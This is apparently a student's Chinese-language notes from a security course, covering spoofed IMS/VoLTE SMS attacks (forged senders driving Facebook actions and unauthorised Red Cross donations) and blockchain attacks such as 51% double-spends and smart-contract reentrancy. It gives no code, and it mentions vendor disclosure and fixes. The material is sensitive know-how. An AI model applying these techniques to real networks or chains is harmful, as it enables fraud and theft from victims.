安全性弱點一:SIP會話資訊的洩漏
安全性弱點二:SIP訊息無完整性保護
沒有資料完整性的保護
只要知道SIP訊息的架構,很容易可以假造
安全性弱點三:手機上不安全的SMS存取控制
Android用 SEND_SMS permission控制APP是否能傳送SMS訊息
防毒軟體或Android會監控擁有SEND_SMS permission的APP
但,這並不適用於IMS-based SMS服務
我們發現如果Android APP要傳送一個SIP訊息(帶著SMS內容),它只需要取得INTERNET permission
因此,惡意軟體可以偷偷發送惡意的SMS,不被目前的SMSpermission所限制
安全性弱點四:IMS伺服器沒有檢查假造的SMS
不是所有的電信商都會檢查SIP訊息中傳送者的電話號碼
四個IMS-based SMS的安全性弱點
SIP會話資訊的洩漏
SIP訊息無完整性保護
手機上不安全的SMS存取控制
IMS伺服器沒有檢查假造的SMS
SMS假造攻擊
我們開發一個Android APP可以發送SIP(包含IMS-based SMS)訊息
只需要Internet permission
不被現有的SMS permission所限制
它允許假造傳送者的號碼,且指定接受者的號碼
利用假造SMS攻擊基於SMS的FB服務
Facebook簡訊服務攻擊
幫受害者更新狀態、加朋友和加Like
Demo: 攻擊者幫受害者加朋友,過程中,不需要受害者的任何動作
利用假造SMS攻擊基於SMS的FB服務
Facebook簡訊服務攻擊
Demo: 攻擊者(ResearchThree)幫受害者(Scott)加朋友
利用假造SMS攻擊基於SMS的ARC服務
非授權的捐款
SMS捐款服務:美國紅十字會 (American Red Cross)允許捐款者使用SMS捐款
捐款是從傳送者的電信帳單收費
例如:發送REDCROSS到號碼90999,就表示傳送者要捐10元給紅十字會
建議的解決方法
手機
升級SMS permission
IPSec的實現不應該依賴在系統功能
IMS系統
SIP訊息應該有資料整性保護
需檢測SIP訊息的傳送者號碼
基於SMS的服務系統
已發現安全漏洞的狀態(2016/10)
已將發現的漏洞通知Google、美國電信商和Facebook
在Andoird Marshmallow版本或更新的版本中,沒有管理者權限無法取得IMS位址
Facebook已經實現了MobilePIN,而且移除了從SMS控制"addfriend"和"like page"功能
圖片支援終止線
下面待施工
課題四:4G新世代高音質通話系統(VoLTE)之潛在安全威脅
VM密碼:nctu
哪兒有VM O3O?
課前準備的VM? https://goo.gl/8DRz82
– – – – – – – – – – – – – – – – -全部在上面了 – – – – – – – – – – – – – – – – – – – –
除了圖
感恩
8/04 (六) 09:30 - 12:30
講師 : 林詠章 中興大學資管系
智能合約攻擊
區塊鏈(BlockChain)
The DAO(Ethereum)
駭客透過The DAO專案本身的Voting漏洞來去非法盜領貨幣
導致乙太坊必須決議進行硬分岔(Hard fork)來回溯主鏈到被駭之前的狀態
結果: ETC跟ETH就出現了 …
What is mining
Guessing nonce
反正就是碰撞出符合難度的Hash拉XD
Difficulty
Proof of Work(PoW)
演算法根據全網算力來去應對難度
藉由Hash的leading zero來去控制難度
Leading zero 愈多, 則尋找合法Hash的難度愈高。
How to mine faster?
ASIC / FPGA
GTX 1080 Ti GO!~
單位時間Hash愈多次, 猜到的機率就愈高XDDDD
亂槍打鳥: 左輪 vs 加特林機槍
不可竄改性
Payload也要經過hash出符合難度的結果
然後還要全網51%以上算力認証才有可能汙染區塊練的資料
區塊鏈模擬網站
51%攻擊
醒來 這個不可能
比特大陸?? < – 太不經濟了XD 而且前提是出的礦機本身就有加料malware
除非世界最大的51%僵屍網路上線
之前忘了哪個幣有人用跟 nicehash 買算力的方法去達成
BTG 雙花攻擊
透過NiceHash(算力租借)來去湊齊51%算力
準備大量的洗錢資金(BTG)
一方面發起交易轉移洗錢資金至交易所, 另一方面使用51%算力竄改區塊紀錄
所以原本的洗錢資金還在原本的帳戶, 但是交易所在取消之前已經確認交易
於是駭客一邊無中生有BTG 還順便在交易所兌現
超棒的 …
Smart Contract(智慧合約)
KickStart網站
智能合約單車租借(紀錄Transcation)
數位版權交易
債券交易(集保中心備份)
募款活動(款項透明化)
Bitcoin VS Etherum
Bitcoin沒有應用面
帳本 vs 智能合約 + 帳本XD
Smart Contract Attack
Solidity語法
Address(紀錄帳戶)
String(紀錄字串)
Unit(紀錄時間和金額)
不能用中文和浮點數
Gas
算力成本(手續費)
簡單講, 你只要戳到區塊鏈 就要付錢
gas limit(最多付多少手續費)
gas price(願意付多少手續費給礦工)
gas used(演算法決定)
實際Tx費用 = Gas Price * Gas Used
Fallback function
什麼都沒有 parames return function name 都沒
只是拿來作為簡單log(event)
Out of gas
如果fallback function太多東西 可能就會超過2300gas 的limit。
Contract2Contract 有2300 gas的limit
SafeMath
Reentrancy
8/04 (六) 14:00 - 17:00